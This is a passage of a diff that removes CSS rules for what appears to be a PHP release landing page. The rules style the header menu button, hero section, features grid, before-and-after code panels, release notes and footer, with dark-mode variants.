color-mix(in oklab, var(--color-white) 5%, transparent) - } - } - } -} - -.header-mobile-menu-button-container { - right: calc(var(--spacing) * 6); - flex-shrink: 0; - position: absolute -} - -@media (min-width: 64rem) { - .header-mobile-menu-button-container { - display: none - } -} - -#mobile-menu-button { - width: calc(var(--spacing) * 10); - height: calc(var(--spacing) * 10); - border-radius: var(--radius-xl); - padding: calc(var(--spacing) * 2); - color: var(--color-gray-900); - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: var(--color-gray-300); - background-color: #0000; - justify-content: center; - align-items: center; - display: inline-flex; - position: relative -} - -#mobile-menu-button:focus-visible { - outline-style: var(--tw-outline-style); - outline-width: 2px; - outline-color: var(--color-white) -} - -#mobile-menu-button:where(.dark,.dark *) { - color: var(--color-white); - --tw-ring-color: #ffffff26 -} - -@supports (color:color-mix(in lab, red, red)) { - #mobile-menu-button:where(.dark,.dark *) { - --tw-ring-color: color-mix(in oklab, var(--color-white) 15%, transparent) - } -} - -#mobile-menu-button svg { - width: calc(var(--spacing) * 6); - height: calc(var(--spacing) * 6) -} - -.hero { - position: relative; - isolation: isolate; - z-index: 10; - margin-top: calc(var(--spacing) * -4); - display: flex; - height: calc(var(--spacing) * 160); - align-items: center; - justify-content: center; - overflow: hidden; - @media (width >= 64rem) { - margin-top: calc(var(--spacing) * -16); - } - @media (width >= 64rem) { - padding-top: calc(var(--spacing) * 16); - } -} - -.hero-pattern { - pointer-events: none; - top: calc(var(--spacing) * .5); - z-index: calc(10 * -1); - width: 100%; - height: 100%; - height: calc(var(--spacing) * 150); - stroke: #18181b1a; - position: absolute; - -webkit-mask-image: linear-gradient(#ffffffad, #0000); - mask-image: linear-gradient(#ffffffad, #0000) -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-pattern { - stroke: color-mix(in oklab, var(--color-gray-900) 10%, transparent) - } -} - -.hero-pattern:where(.dark,.dark *) { - stroke: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-pattern:where(.dark,.dark *) { - stroke: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.hero-content { - max-width: var(--container-4xl); - --tw-gradient-position: at 50% 50%; - background-image: radial-gradient(var(--tw-gradient-stops, at 50% 50%)); - --tw-gradient-from: var(--color-white); - --tw-gradient-to: transparent; - --tw-gradient-stops: var(--tw-gradient-via-stops, var(--tw-gradient-position), var(--tw-gradient-from) var(--tw-gradient-from-position), var(--tw-gradient-to) var(--tw-gradient-to-position)); - --tw-gradient-to-position: 65%; - padding-inline: calc(var(--spacing) * 4); - text-align: center; - margin-inline: auto -} - -@media (min-width: 40rem) { - .hero-content { - padding-inline: calc(var(--spacing) * 6) - } -} - -@media (min-width: 64rem) { - .hero-content { - padding-inline: calc(var(--spacing) * 8) - } -} - -.hero-content:where(.dark,.dark *) { - --tw-gradient-from: #181d3a; - --tw-gradient-stops: var(--tw-gradient-via-stops, var(--tw-gradient-position), var(--tw-gradient-from) var(--tw-gradient-from-position), var(--tw-gradient-to) var(--tw-gradient-to-position)) -} - -.hero .hero-bg { - pointer-events: none; - top: calc(var(--spacing) * 0); - z-index: calc(10 * -1); - object-fit: cover; - width: 100%; - height: 100%; - transition-property: opacity; - opacity: .35; - transition-timing-function: var(--tw-ease, var(--default-transition-timing-function)); - transition-duration: var(--tw-duration, var(--default-transition-duration)); - --tw-duration: .5s; - --tw-ease: var(--ease-in-out); - transition-duration: .5s; - transition-timing-function: var(--ease-in-out); - -webkit-user-select: none; - user-select: none; - position: absolute -} - -.hero-badge { - margin-bottom: calc(var(--spacing) * 6); - background-color: #ffffffa6; - border-radius: calc(infinity * 1px); - align-items: center; - display: inline-flex -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-badge { - background-color: color-mix(in oklab, var(--color-white) 65%, transparent) - } -} - -.hero-badge { - padding-inline: calc(var(--spacing) * 4); - padding-block: calc(var(--spacing) * 1); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - color: var(--color-gray-600); - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #0000000d -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-badge { - --tw-ring-color: color-mix(in oklab, var(--color-black) 5%, transparent) - } -} - -.hero-badge:where(.dark,.dark *) { - background-color: #0003 -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-badge:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-black) 20%, transparent) - } -} - -.hero-badge:where(.dark,.dark *) { - color: var(--color-gray-200); - --tw-ring-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-badge:where(.dark,.dark *) { - --tw-ring-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.hero-badge svg { - margin-right: calc(var(--spacing) * 1.5); - margin-left: calc(var(--spacing) * -1); - width: calc(var(--spacing) * 4); - height: calc(var(--spacing) * 4); - color: var(--color-teal-400) -} - -.hero-badge svg:where(.dark,.dark *) { - color: var(--color-teal-300) -} - -.hero-php-logo { - margin-inline: auto; - margin-bottom: calc(var(--spacing) * 6); - height: calc(var(--spacing) * 12); - color: var(--color-gray-800) -} - -@media (min-width: 64rem) { - .hero-php-logo { - height: calc(var(--spacing) * 22) - } -} - -.hero-php-logo:where(.dark,.dark *) { - color: var(--color-white) -} - -.hero h1 { - margin-bottom: calc(var(--spacing) * 5); - font-size: var(--text-4xl); - line-height: var(--tw-leading, var(--text-4xl--line-height)); - --tw-font-weight: var(--font-weight-bold); - font-weight: var(--font-weight-bold); - text-wrap: balance -} - -@media (min-width: 40rem) { - .hero h1 { - font-size: var(--text-5xl); - line-height: var(--tw-leading, var(--text-5xl--line-height)) - } -} - -.hero h1:where(.dark,.dark *) { - color: var(--color-white) -} - -.hero p { - margin-inline: auto; - margin-bottom: calc(var(--spacing) * 8); - max-width: var(--container-2xl); - --tw-leading: var(--leading-relaxed); - line-height: var(--leading-relaxed); - color: var(--color-gray-500) -} - -@media (min-width: 64rem) { - .hero p { - margin-bottom: calc(var(--spacing) * 10) - } -} - -.hero p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .hero p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.hero p strong { - color: var(--color-gray-900) -} - -.hero p strong:where(.dark,.dark *) { - color: var(--color-white) -} - -.hero-actions { - justify-content: center; - align-items: center; - gap: calc(var(--spacing) * 4); - flex-direction: column; - display: flex -} - -@media (min-width: 64rem) { - .hero-actions { - flex-direction: row - } -} - -.hero-logos { - margin-inline: auto; - margin-top: calc(var(--spacing) * 10); - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 6) -} - -@media (min-width: 64rem) { - .hero-logos { - margin-top: calc(var(--spacing) * 24); - padding-inline: calc(var(--spacing) * 8) - } -} - -.hero-logos h2 { - text-align: center; - text-wrap: balance; - color: var(--color-gray-600) -} - -.hero-logos h2:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-logos h2:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.hero-logos-container { - margin-top: calc(var(--spacing) * 8); - justify-content: center; - align-items: center; - column-gap: calc(var(--spacing) * 4); - row-gap: calc(var(--spacing) * 8); - color: var(--color-gray-800); - grid-template-columns:repeat(3, minmax(0, 1fr)); - display: grid -} - -@media (min-width: 64rem) { - .hero-logos-container { - gap: calc(var(--spacing) * 14); - display: flex - } -} - -.hero-logos-container:where(.dark,.dark *) { - color: #ffffffe6 -} - -@supports (color:color-mix(in lab, red, red)) { - .hero-logos-container:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 90%, transparent) - } -} - -.hero-logos-container svg { - flex-shrink: 0; - margin-inline: auto -} - -.hero-logos-container svg:first-of-type { - height: calc(var(--spacing) * 5) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:first-of-type { - height: calc(var(--spacing) * 7) - } -} - -.hero-logos-container svg:nth-of-type(2) { - height: calc(var(--spacing) * 4) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:nth-of-type(2) { - height: calc(var(--spacing) * 4.5) - } -} - -.hero-logos-container svg:nth-of-type(3) { - height: calc(var(--spacing) * 5) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:nth-of-type(3) { - height: calc(var(--spacing) * 6.5) - } -} - -.hero-logos-container svg:nth-of-type(4) { - height: calc(var(--spacing) * 5) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:nth-of-type(4) { - height: calc(var(--spacing) * 6) - } -} - -.hero-logos-container svg:nth-of-type(5) { - height: calc(var(--spacing) * 5) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:nth-of-type(5) { - height: calc(var(--spacing) * 6.5) - } -} - -.hero-logos-container svg:nth-of-type(6) { - height: calc(var(--spacing) * 5) -} - -@media (min-width: 64rem) { - .hero-logos-container svg:nth-of-type(6) { - height: calc(var(--spacing) * 7) - } -} - -.features { - isolation: isolate; - z-index: 10; - border-block-style: var(--tw-border-style); - border-block-width: 1px; - border-color: #e4e4e780; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - .features { - border-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.features { - background-color: var(--color-white); - padding-block: calc(var(--spacing) * 20) -} - -@media (min-width: 64rem) { - .features { - padding-block: calc(var(--spacing) * 28) - } -} - -.features:where(.dark,.dark *) { - border-color: #00000040 -} - -@supports (color:color-mix(in lab, red, red)) { - .features:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-black) 25%, transparent) - } -} - -.features:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.4) -} - -.features-pattern { - pointer-events: none; - top: calc(var(--spacing) * 0); - color: #09090b26; - width: 100%; - height: 100%; - position: absolute -} - -@supports (color:color-mix(in lab, red, red)) { - .features-pattern { - color: color-mix(in oklab, var(--color-gray-950) 15%, transparent) - } -} - -.features-pattern:where(.dark,.dark *) { - color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .features-pattern:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.features-title { - max-width: var(--container-7xl); - justify-content: center; - align-items: center; - gap: calc(var(--spacing) * 3); - padding-inline: calc(var(--spacing) * 4); - text-align: center; - text-wrap: balance; - flex-direction: column; - margin-inline: auto; - display: flex -} - -@media (min-width: 64rem) { - .features-title { - gap: calc(var(--spacing) * 6); - padding-inline: calc(var(--spacing) * 8); - flex-direction: row - } -} - -.features-title h2 { - font-size: var(--text-2xl); - line-height: var(--tw-leading, var(--text-2xl--line-height)); - --tw-font-weight: var(--font-weight-bold); - font-weight: var(--font-weight-bold) -} - -@media (min-width: 64rem) { - .features-title h2 { - font-size: var(--text-3xl); - line-height: var(--tw-leading, var(--text-3xl--line-height)) - } -} - -.features-title p { - color: var(--color-gray-600) -} - -@media (min-width: 64rem) { - .features-title p { - font-size: var(--text-lg); - line-height: var(--tw-leading, var(--text-lg--line-height)) - } -} - -.features-title p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .features-title p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.features-title strong { - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-gray-900) -} - -.features-title strong:where(.dark,.dark *) { - color: var(--color-white) -} - -.features-grid-container { - margin-inline: auto; - margin-top: calc(var(--spacing) * 8); - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 4) -} - -@media (min-width: 40rem) { - .features-grid-container { - margin-top: calc(var(--spacing) * 12) - } -} - -@media (min-width: 64rem) { - .features-grid-container { - padding-inline: calc(var(--spacing) * 8) - } -} - -.features-grid { - gap: calc(var(--spacing) * 4); - display: grid -} - -@media (min-width: 64rem) { - .features-grid { - grid-template-rows:repeat(2, minmax(0, 1fr)); - grid-template-columns:repeat(3, minmax(0, 1fr)) - } -} - -.features-col { - border-radius: var(--radius-xl); - background-color: #00000003; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col { - background-color: color-mix(in oklab, var(--color-black) 1%, transparent) - } -} - -.features-col { - --tw-shadow: 0 1px var(--tw-shadow-color, #0000000d); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - outline-style: var(--tw-outline-style); - outline-width: 1px; - outline-color: #0000000d -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col { - outline-color: color-mix(in oklab, var(--color-black) 5%, transparent) - } -} - -.features-col { - --tw-backdrop-blur: blur(var(--blur-xs)); - -webkit-backdrop-filter: var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,); - backdrop-filter: var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,) -} - -@media (hover: hover) { - .features-col:hover { - background-color: #18181b08 - } - - @supports (color:color-mix(in lab, red, red)) { - .features-col:hover { - background-color: color-mix(in oklab, var(--color-gray-900) 3%, transparent) - } - } -} - -.features-col:where(.dark,.dark *) { - background-color: #ffffff14 -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 8%, transparent) - } -} - -@media (hover: hover) { - .features-col:where(.dark,.dark *):hover { - background-color: #ffffff1a - } - - @supports (color:color-mix(in lab, red, red)) { - .features-col:where(.dark,.dark *):hover { - background-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } - } -} - -.features-first-col { - border-top-left-radius: var(--radius-4xl); - border-top-right-radius: var(--radius-4xl); - border-bottom-right-radius: var(--radius-xl); - border-bottom-left-radius: var(--radius-xl) -} - -@media (min-width: 64rem) { - .features-first-col { - border-radius: var(--radius-xl); - border-top-left-radius: var(--radius-4xl) - } - - .features-third-col { - border-top-right-radius: var(--radius-4xl) - } - - .features-fourth-col { - border-bottom-left-radius: var(--radius-4xl) - } -} - -.features-sixth-col { - border-top-left-radius: var(--radius-xl); - border-top-right-radius: var(--radius-xl); - border-bottom-right-radius: var(--radius-4xl); - border-bottom-left-radius: var(--radius-4xl) -} - -@media (min-width: 64rem) { - .features-sixth-col { - border-bottom-right-radius: var(--radius-4xl); - border-bottom-left-radius: var(--radius-xl) - } -} - -.features-col-container { - flex-direction: column; - height: 100%; - display: flex; - position: relative -} - -.features-col-spacing { - padding: calc(var(--spacing) * 8) -} - -@media (min-width: 40rem) { - .features-col-spacing { - padding: calc(var(--spacing) * 10) - } -} - -.features-col svg { - margin-bottom: calc(var(--spacing) * 4); - width: calc(var(--spacing) * 7); - height: calc(var(--spacing) * 7); - color: #6b58ff -} - -.features-col svg:where(.dark,.dark *) { - color: #7b75ff -} - -.features-col a { - font-size: var(--text-lg); - line-height: var(--tw-leading, var(--text-lg--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-gray-950); - text-decoration-line: none !important -} - -.features-col a:where(.dark,.dark *) { - color: var(--color-white) -} - -.features-col a span { - inset: calc(var(--spacing) * 0); - position: absolute -} - -.features-col p { - margin-top: calc(var(--spacing) * 4); - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6); - color: var(--color-gray-600) -} - -.features-col p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.features-col code { - border-radius: var(--radius-md); - background-color: #e4e4e780 -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col code { - background-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.features-col code { - padding-inline: calc(var(--spacing) * 1); - padding-block: calc(var(--spacing) * .5); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)) -} - -.features-col code:where(.dark,.dark *) { - background-color: #0003 -} - -@supports (color:color-mix(in lab, red, red)) { - .features-col code:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-black) 20%, transparent) - } -} - -.before-and-after-container { - z-index: 10; - padding-top: calc(var(--spacing) * 18); - position: relative -} - -@media (min-width: 64rem) { - .before-and-after-container { - padding-top: calc(var(--spacing) * 28) - } -} - -.before-and-after-container:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.3) -} - -.before-and-after-container.last { - padding-bottom: calc(var(--spacing) * 20) -} - -@media (min-width: 64rem) { - .before-and-after-container.last { - padding-bottom: calc(var(--spacing) * 28) - } -} - -.before-and-after-code-container { - margin-inline: auto; - margin-top: calc(var(--spacing) * 8); - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 4) -} - -@media (min-width: 40rem) { - .before-and-after-code-container { - margin-top: calc(var(--spacing) * 12) - } -} - -@media (min-width: 64rem) { - .before-and-after-code-container { - padding-inline: calc(var(--spacing) * 8) - } -} - -.before-and-after-code { - gap: calc(var(--spacing) * 2); - border-radius: var(--radius-3xl); - background-color: var(--color-white); - padding: calc(var(--spacing) * 2); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - outline-style: var(--tw-outline-style); - outline-width: 1px; - outline-color: var(--color-gray-200); - display: grid -} - -@media (min-width: 64rem) { - .before-and-after-code { - gap: calc(var(--spacing) * 5); - padding: calc(var(--spacing) * 5); - grid-template-columns:repeat(2, minmax(0, 1fr)) - } -} - -.before-and-after-code:where(.dark,.dark *) { - background-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .before-and-after-code:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.before-and-after-code:where(.dark,.dark *) { - outline-color: #0000000d -} - -@supports (color:color-mix(in lab, red, red)) { - .before-and-after-code:where(.dark,.dark *) { - outline-color: color-mix(in oklab, var(--color-black) 5%, transparent) - } -} - -.before-and-after-title-and-description { - max-width: var(--container-3xl); - margin-inline: auto -} - -:where(.before-and-after-title-and-description>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) -} - -.before-and-after-title-and-description { - padding-inline: calc(var(--spacing) * 4); - text-align: center -} - -@media (min-width: 64rem) { - .before-and-after-title-and-description { - padding-inline: calc(var(--spacing) * 8) - } -} - -.before-and-after-title-and-description h2 { - font-size: var(--text-2xl); - line-height: var(--tw-leading, var(--text-2xl--line-height)); - --tw-font-weight: var(--font-weight-bold); - font-weight: var(--font-weight-bold) -} - -@media (min-width: 64rem) { - .before-and-after-title-and-description h2 { - font-size: var(--text-3xl); - line-height: var(--tw-leading, var(--text-3xl--line-height)) - } -} - -.before-and-after-title-and-description p { - color: var(--color-gray-600); - text-align: left; -} - -@media (min-width: 64rem) { - .before-and-after-title-and-description p { - font-size: var(--text-lg); - line-height: var(--tw-leading, var(--text-lg--line-height)) - } -} - -.before-and-after-title-and-description p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .before-and-after-title-and-description p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.before-and-after-title-and-description code { - border-radius: var(--radius-md); - background-color: #e4e4e780 -} - -@supports (color:color-mix(in lab, red, red)) { - .before-and-after-title-and-description code { - background-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.before-and-after-title-and-description code { - padding-inline: calc(var(--spacing) * 1); - padding-block: calc(var(--spacing) * .5); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)) -} - -.before-and-after-title-and-description code:where(.dark,.dark *) { - background-color: #0003 -} - -@supports (color:color-mix(in lab, red, red)) { - .before-and-after-title-and-description code:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-black) 20%, transparent) - } -} - -.code-container { - border-radius: var(--radius-2xl); - border-style: var(--tw-border-style); - border-width: 1px; - border-color: var(--color-gray-200); - background-color: var(--color-white); - position: relative; - overflow: hidden -} - -.code-container:where(.dark,.dark *) { - border-color: #0000001a -} - -@supports (color:color-mix(in lab, red, red)) { - .code-container:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-black) 10%, transparent) - } -} - -.code-container:where(.dark,.dark *) { - background-color: #09090b40 -} - -@supports (color:color-mix(in lab, red, red)) { - .code-container:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-gray-950) 25%, transparent) - } -} - -.code-container .header { - justify-content: space-between; - align-items: center; - display: flex -} - -:where(.code-container .header>:not(:last-child)) { - --tw-space-x-reverse: 0; - margin-inline-start: calc(calc(var(--spacing) * 2) * var(--tw-space-x-reverse)); - margin-inline-end: calc(calc(var(--spacing) * 2) * calc(1 - var(--tw-space-x-reverse))) -} - -.code-container .header { - border-bottom-style: var(--tw-border-style); - border-bottom-width: 1px; - border-color: var(--color-gray-200); - padding-inline: calc(var(--spacing) * 3); - padding-block: calc(var(--spacing) * 2); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold) -} - -.code-container .header:where(.dark,.dark *) { - border-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .code-container .header:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.code-container .header div { - align-items: center; - display: flex -} - -:where(.code-container .header div>:not(:last-child)) { - --tw-space-x-reverse: 0; - margin-inline-start: calc(calc(var(--spacing) * 3) * var(--tw-space-x-reverse)); - margin-inline-end: calc(calc(var(--spacing) * 3) * calc(1 - var(--tw-space-x-reverse))) -} - -.code-container .header a { - font-size: var(--text-xs); - line-height: var(--tw-leading, var(--text-xs--line-height)); - color: var(--color-gray-600); - text-decoration-line: underline -} - -@media (hover: hover) { - .code-container .header a:hover { - text-decoration-line: none - } -} - -.code-container .header a:where(.dark,.dark *) { - color: var(--color-gray-400) -} - -.code-container button { - cursor: pointer; - border-radius: var(--radius-lg); - padding: calc(var(--spacing) * 2) -} - -@media (hover: hover) { - .code-container button:hover { - background-color: var(--color-gray-100) - } - - .code-container button:where(.dark,.dark *):hover { - background-color: #ffffff0d - } - - @supports (color:color-mix(in lab, red, red)) { - .code-container button:where(.dark,.dark *):hover { - background-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } - } -} - -.code-container button svg { - width: calc(var(--spacing) * 4); - height: calc(var(--spacing) * 4) -} - -.code-container pre { - min-height: 100%; - font-size: var(--text-xs); - line-height: var(--tw-leading, var(--text-xs--line-height)); - --tw-leading: var(--leading-loose); - line-height: var(--leading-loose); - white-space: pre-wrap; - display: flex -} - -@media (min-width: 40rem) { - .code-container pre { - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)) - } -} - -.code-container code { - height: 100%; - padding: var(--spacing); - color: var(--color-gray-400); - flex: 1; - overflow: auto -} - -.release-notes { - isolation: isolate; - z-index: 10; - border-block-style: var(--tw-border-style); - border-block-width: 1px; - border-color: #e4e4e780; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes { - border-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.release-notes { - background-color: var(--color-white); - padding-block: calc(var(--spacing) * 20) -} - -@media (min-width: 64rem) { - .release-notes { - padding-block: calc(var(--spacing) * 28) - } -} - -.release-notes:where(.dark,.dark *) { - border-color: #00000040 -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-black) 25%, transparent) - } -} - -.release-notes:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.1) -} - -.release-notes h2 { - font-size: var(--text-xl); - line-height: var(--tw-leading, var(--text-xl--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - --tw-tracking: var(--tracking-tight); - letter-spacing: var(--tracking-tight); - text-wrap: pretty; - color: var(--color-gray-900) -} - -@media (min-width: 40rem) { - .release-notes h2 { - font-size: var(--text-3xl); - line-height: var(--tw-leading, var(--text-3xl--line-height)) - } -} - -.release-notes h2:where(.dark,.dark *) { - color: var(--color-white) -} - -.release-notes svg { - pointer-events: none; - top: calc(var(--spacing) * 0); - color: #09090b26; - width: 100%; - height: 100%; - position: absolute -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes svg { - color: color-mix(in oklab, var(--color-gray-950) 15%, transparent) - } -} - -.release-notes svg:where(.dark,.dark *) { - color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes svg:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.release-notes ul { - margin-top: calc(var(--spacing) * 6); - margin-left: calc(var(--spacing) * 4); - list-style-type: disc -} - -:where(.release-notes ul>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) -} - -.release-notes ul { - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - overflow-wrap: break-word -} - -@media (min-width: 64rem) { - .release-notes ul { - font-size: var(--text-base); - line-height: var(--tw-leading, var(--text-base--line-height)) - } -} - -.release-notes code { - border-radius: var(--radius-md); - background-color: #e4e4e780 -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes code { - background-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.release-notes code { - padding-inline: calc(var(--spacing) * 1); - padding-block: calc(var(--spacing) * .5) -} - -.release-notes code:where(.dark,.dark *) { - background-color: #0003 -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes code:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-black) 20%, transparent) - } -} - -.release-notes .new ::marker { - color: var(--color-green-500) -} - -.release-notes .new::marker { - color: var(--color-green-500) -} - -.release-notes .new ::-webkit-details-marker { - color: var(--color-green-500) -} - -.release-notes .new::-webkit-details-marker { - color: var(--color-green-500) -} - -.release-notes .old ::marker { - color: var(--color-red-400) -} - -.release-notes .old::marker { - color: var(--color-red-400) -} - -.release-notes .old ::-webkit-details-marker { - color: var(--color-red-400) -} - -.release-notes .old::-webkit-details-marker { - color: var(--color-red-400) -} - -.release-notes-grid-container { - margin-inline: auto; - margin-top: calc(var(--spacing) * -2); - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 4) -} - -@media (min-width: 64rem) { - .release-notes-grid-container { - padding-inline: calc(var(--spacing) * 8) - } - - .release-notes-grid { - gap: calc(var(--spacing) * 5); - grid-template-columns:repeat(12, minmax(0, 1fr)); - display: grid - } -} - -.release-notes-grid div { - border-radius: var(--radius-3xl); - background-color: #00000008 -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes-grid div { - background-color: color-mix(in oklab, var(--color-black) 3%, transparent) - } -} - -.release-notes-grid div { - padding: calc(var(--spacing) * 6) -} - -@media (min-width: 48rem) { - .release-notes-grid div { - padding: calc(var(--spacing) * 10) - } -} - -.release-notes-grid div:where(.dark,.dark *) { - background-color: #ffffff08 -} - -@supports (color:color-mix(in lab, red, red)) { - .release-notes-grid div:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 3%, transparent) - } -} - -@media (min-width: 64rem) { - .release-notes-grid div:first-of-type { - grid-column: span 6/span 6 - } -} - -.release-notes-grid div:nth-of-type(2) { - margin-top: calc(var(--spacing) * 10) -} - -@media (min-width: 64rem) { - .release-notes-grid div:nth-of-type(2) { - margin-top: calc(var(--spacing) * 0); - grid-column: span 6/span 6 - } -} - -.cta-footer { - isolation: isolate; - z-index: 10; - padding-block: calc(var(--spacing) * 20); - position: relative -} - -@media (min-width: 64rem) { - .cta-footer { - padding-block: calc(var(--spacing) * 28) - } -} - -.cta-footer:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.2) -} - -.cta-footer > svg { - pointer-events: none; - inset: calc(var(--spacing) * 0); - z-index: 2; - stroke: #18181b14; - width: 100%; - height: 100%; - position: absolute; - -webkit-mask-image: linear-gradient(#0000, #ffffffad); - mask-image: linear-gradient(#0000, #ffffffad) -} - -@supports (color:color-mix(in lab, red, red)) { - .cta-footer > svg { - stroke: color-mix(in oklab, var(--color-gray-900) 8%, transparent) - } -} - -.cta-footer > svg:where(.dark,.dark *) { - stroke: #ffffff14 -} - -@supports (color:color-mix(in lab, red, red)) { - .cta-footer > svg:where(.dark,.dark *) { - stroke: color-mix(in oklab, var(--color-white) 8%, transparent) - } -} - -.cta-footer-content { - max-width: var(--container-4xl); - padding-inline: calc(var(--spacing) * 4); - text-align: center; - margin-inline: auto -} - -@media (min-width: 